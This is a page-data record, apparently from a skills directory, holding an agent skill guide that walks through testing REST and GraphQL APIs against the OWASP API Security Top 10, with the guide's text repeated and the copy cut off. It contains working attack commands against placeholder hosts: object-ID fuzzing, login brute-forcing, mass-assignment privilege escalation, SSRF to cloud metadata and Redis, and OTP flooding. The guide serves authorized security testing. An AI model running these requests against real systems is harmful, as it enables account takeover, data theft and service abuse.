[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M73G9B1829TD202KAFFPDVKP":3,"skill-same:01M73G9B1829TD202KAFFPDVKP":90},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":50,"commitSha":51,"skillDirectory":52,"forksCount":53,"repositoryHtmlUrl":54,"repositoryHomepageUrl":55,"ownerHtmlUrl":56,"ownerBlogUrl":57,"ownerDescription":58,"updatedAt":59,"install":60,"resources":73},"01M73G9B1829TD202KAFFPDVKP","testing-api-security-with-owasp-top-10",null,"Systematically assessing REST and GraphQL API endpoints against the OWASP API Security Top 10 risks using automated and manual testing techniques.","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Ftesting-api-security-with-owasp-top-10\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Ftesting-api-security-with-owasp-top-10\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: testing-api-security-with-owasp-top-10\ndescription: Systematically assessing REST and GraphQL API endpoints against the OWASP\n  API Security Top 10 risks using automated and manual testing techniques.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- api-security\n- owasp\n- rest-api\n- graphql\n- burpsuite\n- postman\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\nsource: https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\nsource_commit: 04450304b12645cb2b974ab96d28c0664758a88d\nnote: \"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.\"\n---\n\n# Testing API Security with OWASP Top 10\n\n## When to Use\n\n- During authorized API penetration testing engagements\n- When assessing REST, GraphQL, or gRPC APIs for security vulnerabilities\n- Before deploying new API endpoints to production environments\n- When reviewing API security posture against the OWASP API Security Top 10 (2023)\n- For validating API gateway security controls and rate limiting effectiveness\n\n## Prerequisites\n\n- **Authorization**: Written scope document covering all API endpoints to be tested\n- **Burp Suite Professional**: For intercepting and modifying API requests\n- **Postman**: For organizing and executing API test collections\n- **ffuf**: For API endpoint and parameter fuzzing\n- **curl\u002Fhttpie**: Command-line HTTP clients for manual testing\n- **API documentation**: Swagger\u002FOpenAPI spec, GraphQL schema, or API docs\n- **jq**: JSON processor for parsing API responses (`apt install jq`)\n\n## Workflow\n\n### Step 1: Discover and Map API Endpoints\n\nEnumerate all available API endpoints and understand the API surface.\n\n```bash\n# If OpenAPI\u002FSwagger spec is available, download it\ncurl -s \"https:\u002F\u002Fapi.target.example.com\u002Fswagger.json\" | jq '.paths | keys[]'\ncurl -s \"https:\u002F\u002Fapi.target.example.com\u002Fv2\u002Fapi-docs\" | jq '.paths | keys[]'\ncurl -s \"https:\u002F\u002Fapi.target.example.com\u002Fopenapi.yaml\"\n\n# Fuzz for API endpoints\nffuf -u \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002FFUZZ\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fapi\u002Fapi-endpoints.txt \\\n  -mc 200,201,204,301,401,403,405 \\\n  -fc 404 \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -o api-enum.json -of json\n\n# Fuzz for API versions\nfor v in v1 v2 v3 v4 beta internal admin; do\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002F$v\u002Fusers\")\n  echo \"$v: $status\"\ndone\n\n# Check for GraphQL endpoint\nfor path in graphql graphiql playground query gql; do\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -X POST -H \"Content-Type: application\u002Fjson\" \\\n    -d '{\"query\":\"{__typename}\"}' \\\n    \"https:\u002F\u002Fapi.target.example.com\u002F$path\")\n  echo \"$path: $status\"\ndone\n```\n\n### Step 2: Test API1 - Broken Object Level Authorization (BOLA)\n\nTest whether users can access objects belonging to other users by manipulating IDs.\n\n```bash\n# Authenticate as User A and get their resources\nTOKEN_A=\"Bearer eyJhbGciOiJIUzI1NiIs...\"\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\u002Forders\" | jq .\n\n# Try accessing User B's resources with User A's token\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Forders\" | jq .\n\n# Fuzz object IDs with Burp Intruder or ffuf\nffuf -u \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Forders\u002FFUZZ\" \\\n  -w \u003C(seq 1 1000) \\\n  -H \"Authorization: $TOKEN_A\" \\\n  -mc 200 -t 10 -rate 50\n\n# Test IDOR with different ID formats\n# Numeric: \u002Fusers\u002F102\n# UUID: \u002Fusers\u002F550e8400-e29b-41d4-a716-446655440000\n# Encoded: \u002Fusers\u002FMTAy (base64)\n```\n\n### Step 3: Test API2 - Broken Authentication\n\nAssess authentication mechanisms for weaknesses.\n\n```bash\n# Test for missing authentication\ncurl -s \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\" | jq .\n\n# Test JWT token vulnerabilities\n# Decode JWT without verification\necho \"eyJhbGciOiJIUzI1NiIs...\" | cut -d. -f2 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n\n# Test \"alg: none\" attack\n# Header: {\"alg\":\"none\",\"typ\":\"JWT\"}\n# Create unsigned token with modified claims\n\n# Test brute-force protection on login\nffuf -u \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fauth\u002Flogin\" \\\n  -X POST -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"admin@target.com\",\"password\":\"FUZZ\"}' \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FPasswords\u002FCommon-Credentials\u002Ftop-1000.txt \\\n  -mc 200 -t 5 -rate 10\n\n# Test password reset flow\ncurl -s -X POST \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fauth\u002Freset\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"victim@target.com\"}'\n\n# Check if token is in response body instead of email only\n```\n\n### Step 4: Test API3 - Broken Object Property Level Authorization\n\nTest for excessive data exposure and mass assignment vulnerabilities.\n\n```bash\n# Check for excessive data in responses\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\" | jq .\n# Look for: password hashes, SSNs, internal IDs, admin flags, PII\n\n# Test mass assignment - try adding admin properties\ncurl -s -X PUT \\\n  -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\":\"Test User\",\"role\":\"admin\",\"is_admin\":true}' \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\" | jq .\n\n# Test with PATCH method\ncurl -s -X PATCH \\\n  -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"role\":\"admin\",\"balance\":999999}' \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\" | jq .\n\n# Check if filtering parameters expose more data\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101?fields=all\" | jq .\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101?include=password,ssn\" | jq .\n```\n\n### Step 5: Test API4\u002FAPI6 - Rate Limiting and Unrestricted Access to Sensitive Flows\n\nVerify rate limiting and resource consumption controls.\n\n```bash\n# Test rate limiting on authentication endpoint\nfor i in $(seq 1 100); do\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -X POST -H \"Content-Type: application\u002Fjson\" \\\n    -d '{\"email\":\"test@test.com\",\"password\":\"wrong\"}' \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fauth\u002Flogin\")\n  echo \"Attempt $i: $status\"\n  if [ \"$status\" == \"429\" ]; then\n    echo \"Rate limited at attempt $i\"\n    break\n  fi\ndone\n\n# Test for unrestricted resource consumption\n# Large pagination\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers?limit=100000&offset=0\" | jq '. | length'\n\n# GraphQL depth\u002Fcomplexity attack\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: $TOKEN_A\" \\\n  -d '{\"query\":\"{ users { friends { friends { friends { friends { name } } } } } }\"}' \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fgraphql\"\n\n# Test SMS\u002Femail flooding via OTP endpoint\nfor i in $(seq 1 20); do\n  curl -s -X POST -H \"Content-Type: application\u002Fjson\" \\\n    -d '{\"phone\":\"+1234567890\"}' \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fauth\u002Fsend-otp\"\ndone\n```\n\n### Step 6: Test API5 - Broken Function Level Authorization\n\nCheck for privilege escalation through administrative endpoints.\n\n```bash\n# Test admin endpoints with regular user token\nADMIN_ENDPOINTS=(\n  \"\u002Fapi\u002Fv1\u002Fadmin\u002Fusers\"\n  \"\u002Fapi\u002Fv1\u002Fadmin\u002Fsettings\"\n  \"\u002Fapi\u002Fv1\u002Fadmin\u002Flogs\"\n  \"\u002Fapi\u002Fv1\u002Finternal\u002Fconfig\"\n  \"\u002Fapi\u002Fv1\u002Fusers?role=admin\"\n  \"\u002Fapi\u002Fv1\u002Fadmin\u002Fexport\"\n)\n\nfor endpoint in \"${ADMIN_ENDPOINTS[@]}\"; do\n  for method in GET POST PUT DELETE; do\n    status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n      -X \"$method\" \\\n      -H \"Authorization: $TOKEN_A\" \\\n      -H \"Content-Type: application\u002Fjson\" \\\n      \"https:\u002F\u002Fapi.target.example.com$endpoint\")\n    if [ \"$status\" != \"403\" ] && [ \"$status\" != \"401\" ] && [ \"$status\" != \"404\" ]; then\n      echo \"POTENTIAL ISSUE: $method $endpoint returned $status\"\n    fi\n  done\ndone\n\n# Test HTTP method switching\n# If GET \u002Fadmin\u002Fusers returns 403, try:\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fadmin\u002Fusers\"\n```\n\n### Step 7: Test API7-API10 - SSRF, Misconfiguration, Inventory, and Unsafe Consumption\n\n```bash\n# API7: Server-Side Request Forgery\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"}' \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Ffetch-url\"\n\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"webhook_url\":\"http:\u002F\u002F127.0.0.1:6379\u002F\"}' \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fwebhooks\"\n\n# API8: Security Misconfiguration\n# Check CORS policy\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\" | grep -i \"access-control\"\n\n# Check for verbose error messages\ncurl -s -X POST -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"invalid\": \"data' \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\"\n\n# Check security headers\ncurl -s -I \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fhealth\" | grep -iE \\\n  \"(x-frame|x-content|strict-transport|content-security|x-xss)\"\n\n# API9: Improper Inventory Management\n# Test deprecated API versions\nfor v in v0 v1 v2 v3; do\n  curl -s -o \u002Fdev\u002Fnull -w \"$v: %{http_code}\\n\" \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002F$v\u002Fusers\"\ndone\n\n# API10: Unsafe Consumption of APIs\n# Test if the API blindly trusts third-party data\n# Check webhook\u002Fcallback implementations for injection\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **BOLA (API1)** | Broken Object Level Authorization - accessing objects belonging to other users |\n| **Broken Authentication (API2)** | Weak authentication mechanisms allowing credential stuffing or token manipulation |\n| **BOPLA (API3)** | Broken Object Property Level Authorization - excessive data exposure or mass assignment |\n| **Unrestricted Resource Consumption (API4)** | Missing rate limiting enabling DoS or brute-force attacks |\n| **Broken Function Level Auth (API5)** | Regular users accessing admin-level API functions |\n| **SSRF (API7)** | Server-Side Request Forgery through API parameters accepting URLs |\n| **Security Misconfiguration (API8)** | Missing security headers, verbose errors, permissive CORS |\n| **Improper Inventory (API9)** | Undocumented, deprecated, or shadow API endpoints left exposed |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | API interception, scanning, and manual testing |\n| **Postman** | API collection management and automated test execution |\n| **ffuf** | API endpoint and parameter fuzzing |\n| **Kiterunner** | API endpoint discovery using common API path patterns |\n| **jwt_tool** | JWT token analysis, manipulation, and attack automation |\n| **GraphQL Voyager** | GraphQL schema visualization and introspection analysis |\n| **Arjun** | HTTP parameter discovery for API endpoints |\n\n## Common Scenarios\n\n### Scenario 1: BOLA in E-commerce API\nUser A can access User B's order details by changing the order ID in `\u002Fapi\u002Fv1\u002Forders\u002F{id}`. The API only checks authentication but not authorization on the object level.\n\n### Scenario 2: Mass Assignment on User Profile\nThe user update endpoint accepts a `role` field in the JSON body. By adding `\"role\":\"admin\"` to a profile update request, a regular user escalates to administrator privileges.\n\n### Scenario 3: Deprecated API Version Bypass\nThe `\u002Fapi\u002Fv2\u002Fusers` endpoint has proper rate limiting, but `\u002Fapi\u002Fv1\u002Fusers` (still active) has no rate limiting. Attackers use the old version to brute-force credentials.\n\n### Scenario 4: GraphQL Introspection Data Leak\nGraphQL introspection is enabled in production, exposing the entire schema including internal queries, mutations, and sensitive field names that are not used in the frontend.\n\n## Output Format\n\n```\n## API Security Assessment Report\n\n**Target**: api.target.example.com\n**API Type**: REST (OpenAPI 3.0)\n**Assessment Date**: 2024-01-15\n**OWASP API Security Top 10 (2023) Coverage**\n\n| Risk | Status | Severity | Details |\n|------|--------|----------|---------|\n| API1: BOLA | VULNERABLE | Critical | \u002Fapi\u002Fv1\u002Forders\u002F{id} - IDOR confirmed |\n| API2: Broken Auth | VULNERABLE | High | No rate limit on \u002Fauth\u002Flogin |\n| API3: BOPLA | VULNERABLE | High | User role modifiable via mass assignment |\n| API4: Resource Consumption | VULNERABLE | Medium | No pagination limit enforced |\n| API5: Function Level Auth | PASS | - | Admin endpoints properly restricted |\n| API6: Unrestricted Sensitive Flows | VULNERABLE | Medium | OTP endpoint lacks rate limiting |\n| API7: SSRF | PASS | - | URL parameters properly validated |\n| API8: Misconfiguration | VULNERABLE | Medium | Verbose stack traces in error responses |\n| API9: Improper Inventory | VULNERABLE | Low | API v1 still accessible without docs |\n| API10: Unsafe Consumption | NOT TESTED | - | No third-party API integrations found |\n\n### Critical Finding: BOLA on Orders API\nAuthenticated users can access any order by iterating order IDs.\nTested range: 1-1000, 847 valid orders accessible.\nPII exposure: names, addresses, payment details.\n```\n","# Testing API Security with OWASP Top 10\n\n## When to Use\n\n- During authorized API penetration testing engagements\n- When assessing REST, GraphQL, or gRPC APIs for security vulnerabilities\n- Before deploying new API endpoints to production environments\n- When reviewing API security posture against the OWASP API Security Top 10 (2023)\n- For validating API gateway security controls and rate limiting effectiveness\n\n## Prerequisites\n\n- **Authorization**: Written scope document covering all API endpoints to be tested\n- **Burp Suite Professional**: For intercepting and modifying API requests\n- **Postman**: For organizing and executing API test collections\n- **ffuf**: For API endpoint and parameter fuzzing\n- **curl\u002Fhttpie**: Command-line HTTP clients for manual testing\n- **API documentation**: Swagger\u002FOpenAPI spec, GraphQL schema, or API docs\n- **jq**: JSON processor for parsing API responses (`apt install jq`)\n\n## Workflow\n\n### Step 1: Discover and Map API Endpoints\n\nEnumerate all available API endpoints and understand the API surface.\n\n```bash\n# If OpenAPI\u002FSwagger spec is available, download it\ncurl -s \"https:\u002F\u002Fapi.target.example.com\u002Fswagger.json\" | jq '.paths | keys[]'\ncurl -s \"https:\u002F\u002Fapi.target.example.com\u002Fv2\u002Fapi-docs\" | jq '.paths | keys[]'\ncurl -s \"https:\u002F\u002Fapi.target.example.com\u002Fopenapi.yaml\"\n\n# Fuzz for API endpoints\nffuf -u \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002FFUZZ\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fapi\u002Fapi-endpoints.txt \\\n  -mc 200,201,204,301,401,403,405 \\\n  -fc 404 \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -o api-enum.json -of json\n\n# Fuzz for API versions\nfor v in v1 v2 v3 v4 beta internal admin; do\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002F$v\u002Fusers\")\n  echo \"$v: $status\"\ndone\n\n# Check for GraphQL endpoint\nfor path in graphql graphiql playground query gql; do\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -X POST -H \"Content-Type: application\u002Fjson\" \\\n    -d '{\"query\":\"{__typename}\"}' \\\n    \"https:\u002F\u002Fapi.target.example.com\u002F$path\")\n  echo \"$path: $status\"\ndone\n```\n\n### Step 2: Test API1 - Broken Object Level Authorization (BOLA)\n\nTest whether users can access objects belonging to other users by manipulating IDs.\n\n```bash\n# Authenticate as User A and get their resources\nTOKEN_A=\"Bearer eyJhbGciOiJIUzI1NiIs...\"\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\u002Forders\" | jq .\n\n# Try accessing User B's resources with User A's token\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Forders\" | jq .\n\n# Fuzz object IDs with Burp Intruder or ffuf\nffuf -u \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Forders\u002FFUZZ\" \\\n  -w \u003C(seq 1 1000) \\\n  -H \"Authorization: $TOKEN_A\" \\\n  -mc 200 -t 10 -rate 50\n\n# Test IDOR with different ID formats\n# Numeric: \u002Fusers\u002F102\n# UUID: \u002Fusers\u002F550e8400-e29b-41d4-a716-446655440000\n# Encoded: \u002Fusers\u002FMTAy (base64)\n```\n\n### Step 3: Test API2 - Broken Authentication\n\nAssess authentication mechanisms for weaknesses.\n\n```bash\n# Test for missing authentication\ncurl -s \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\" | jq .\n\n# Test JWT token vulnerabilities\n# Decode JWT without verification\necho \"eyJhbGciOiJIUzI1NiIs...\" | cut -d. -f2 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n\n# Test \"alg: none\" attack\n# Header: {\"alg\":\"none\",\"typ\":\"JWT\"}\n# Create unsigned token with modified claims\n\n# Test brute-force protection on login\nffuf -u \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fauth\u002Flogin\" \\\n  -X POST -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"admin@target.com\",\"password\":\"FUZZ\"}' \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FPasswords\u002FCommon-Credentials\u002Ftop-1000.txt \\\n  -mc 200 -t 5 -rate 10\n\n# Test password reset flow\ncurl -s -X POST \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fauth\u002Freset\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"victim@target.com\"}'\n\n# Check if token is in response body instead of email only\n```\n\n### Step 4: Test API3 - Broken Object Property Level Authorization\n\nTest for excessive data exposure and mass assignment vulnerabilities.\n\n```bash\n# Check for excessive data in responses\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\" | jq .\n# Look for: password hashes, SSNs, internal IDs, admin flags, PII\n\n# Test mass assignment - try adding admin properties\ncurl -s -X PUT \\\n  -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\":\"Test User\",\"role\":\"admin\",\"is_admin\":true}' \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\" | jq .\n\n# Test with PATCH method\ncurl -s -X PATCH \\\n  -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"role\":\"admin\",\"balance\":999999}' \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\" | jq .\n\n# Check if filtering parameters expose more data\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101?fields=all\" | jq .\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101?include=password,ssn\" | jq .\n```\n\n### Step 5: Test API4\u002FAPI6 - Rate Limiting and Unrestricted Access to Sensitive Flows\n\nVerify rate limiting and resource consumption controls.\n\n```bash\n# Test rate limiting on authentication endpoint\nfor i in $(seq 1 100); do\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -X POST -H \"Content-Type: application\u002Fjson\" \\\n    -d '{\"email\":\"test@test.com\",\"password\":\"wrong\"}' \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fauth\u002Flogin\")\n  echo \"Attempt $i: $status\"\n  if [ \"$status\" == \"429\" ]; then\n    echo \"Rate limited at attempt $i\"\n    break\n  fi\ndone\n\n# Test for unrestricted resource consumption\n# Large pagination\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers?limit=100000&offset=0\" | jq '. | length'\n\n# GraphQL depth\u002Fcomplexity attack\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: $TOKEN_A\" \\\n  -d '{\"query\":\"{ users { friends { friends { friends { friends { name } } } } } }\"}' \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fgraphql\"\n\n# Test SMS\u002Femail flooding via OTP endpoint\nfor i in $(seq 1 20); do\n  curl -s -X POST -H \"Content-Type: application\u002Fjson\" \\\n    -d '{\"phone\":\"+1234567890\"}' \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fauth\u002Fsend-otp\"\ndone\n```\n\n### Step 6: Test API5 - Broken Function Level Authorization\n\nCheck for privilege escalation through administrative endpoints.\n\n```bash\n# Test admin endpoints with regular user token\nADMIN_ENDPOINTS=(\n  \"\u002Fapi\u002Fv1\u002Fadmin\u002Fusers\"\n  \"\u002Fapi\u002Fv1\u002Fadmin\u002Fsettings\"\n  \"\u002Fapi\u002Fv1\u002Fadmin\u002Flogs\"\n  \"\u002Fapi\u002Fv1\u002Finternal\u002Fconfig\"\n  \"\u002Fapi\u002Fv1\u002Fusers?role=admin\"\n  \"\u002Fapi\u002Fv1\u002Fadmin\u002Fexport\"\n)\n\nfor endpoint in \"${ADMIN_ENDPOINTS[@]}\"; do\n  for method in GET POST PUT DELETE; do\n    status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n      -X \"$method\" \\\n      -H \"Authorization: $TOKEN_A\" \\\n      -H \"Content-Type: application\u002Fjson\" \\\n      \"https:\u002F\u002Fapi.target.example.com$endpoint\")\n    if [ \"$status\" != \"403\" ] && [ \"$status\" != \"401\" ] && [ \"$status\" != \"404\" ]; then\n      echo \"POTENTIAL ISSUE: $method $endpoint returned $status\"\n    fi\n  done\ndone\n\n# Test HTTP method switching\n# If GET \u002Fadmin\u002Fusers returns 403, try:\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fadmin\u002Fusers\"\n```\n\n### Step 7: Test API7-API10 - SSRF, Misconfiguration, Inventory, and Unsafe Consumption\n\n```bash\n# API7: Server-Side Request Forgery\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"}' \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Ffetch-url\"\n\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"webhook_url\":\"http:\u002F\u002F127.0.0.1:6379\u002F\"}' \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fwebhooks\"\n\n# API8: Security Misconfiguration\n# Check CORS policy\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\" | grep -i \"access-control\"\n\n# Check for verbose error messages\ncurl -s -X POST -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"invalid\": \"data' \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fusers\"\n\n# Check security headers\ncurl -s -I \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fv1\u002Fhealth\" | grep -iE \\\n  \"(x-frame|x-content|strict-transport|content-security|x-xss)\"\n\n# API9: Improper Inventory Management\n# Test deprecated API versions\nfor v in v0 v1 v2 v3; do\n  curl -s -o \u002Fdev\u002Fnull -w \"$v: %{http_code}\\n\" \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002F$v\u002Fusers\"\ndone\n\n# API10: Unsafe Consumption of APIs\n# Test if the API blindly trusts third-party data\n# Check webhook\u002Fcallback implementations for injection\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **BOLA (API1)** | Broken Object Level Authorization - accessing objects belonging to other users |\n| **Broken Authentication (API2)** | Weak authentication mechanisms allowing credential stuffing or token manipulation |\n| **BOPLA (API3)** | Broken Object Property Level Authorization - excessive data exposure or mass assignment |\n| **Unrestricted Resource Consumption (API4)** | Missing rate limiting enabling DoS or brute-force attacks |\n| **Broken Function Level Auth (API5)** | Regular users accessing admin-level API functions |\n| **SSRF (API7)** | Server-Side Request Forgery through API parameters accepting URLs |\n| **Security Misconfiguration (API8)** | Missing security headers, verbose errors, permissive CORS |\n| **Improper Inventory (API9)** | Undocumented, deprecated, or shadow API endpoints left exposed |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | API interception, scanning, and manual testing |\n| **Postman** | API collection management and automated test execution |\n| **ffuf** | API endpoint and parameter fuzzing |\n| **Kiterunner** | API endpoint discovery using common API path patterns |\n| **jwt_tool** | JWT token analysis, manipulation, and attack automation |\n| **GraphQL Voyager** | GraphQL schema visualization and introspection analysis |\n| **Arjun** | HTTP parameter discovery for API endpoints |\n\n## Common Scenarios\n\n### Scenario 1: BOLA in E-commerce API\nUser A can access User B's order details by changing the order ID in `\u002Fapi\u002Fv1\u002Forders\u002F{id}`. The API only checks authentication but not authorization on the object level.\n\n### Scenario 2: Mass Assignment on User Profile\nThe user update endpoint accepts a `role` field in the JSON body. By adding `\"role\":\"admin\"` to a profile update request, a regular user escalates to administrator privileges.\n\n### Scenario 3: Deprecated API Version Bypass\nThe `\u002Fapi\u002Fv2\u002Fusers` endpoint has proper rate limiting, but `\u002Fapi\u002Fv1\u002Fusers` (still active) has no rate limiting. Attackers use the old version to brute-force credentials.\n\n### Scenario 4: 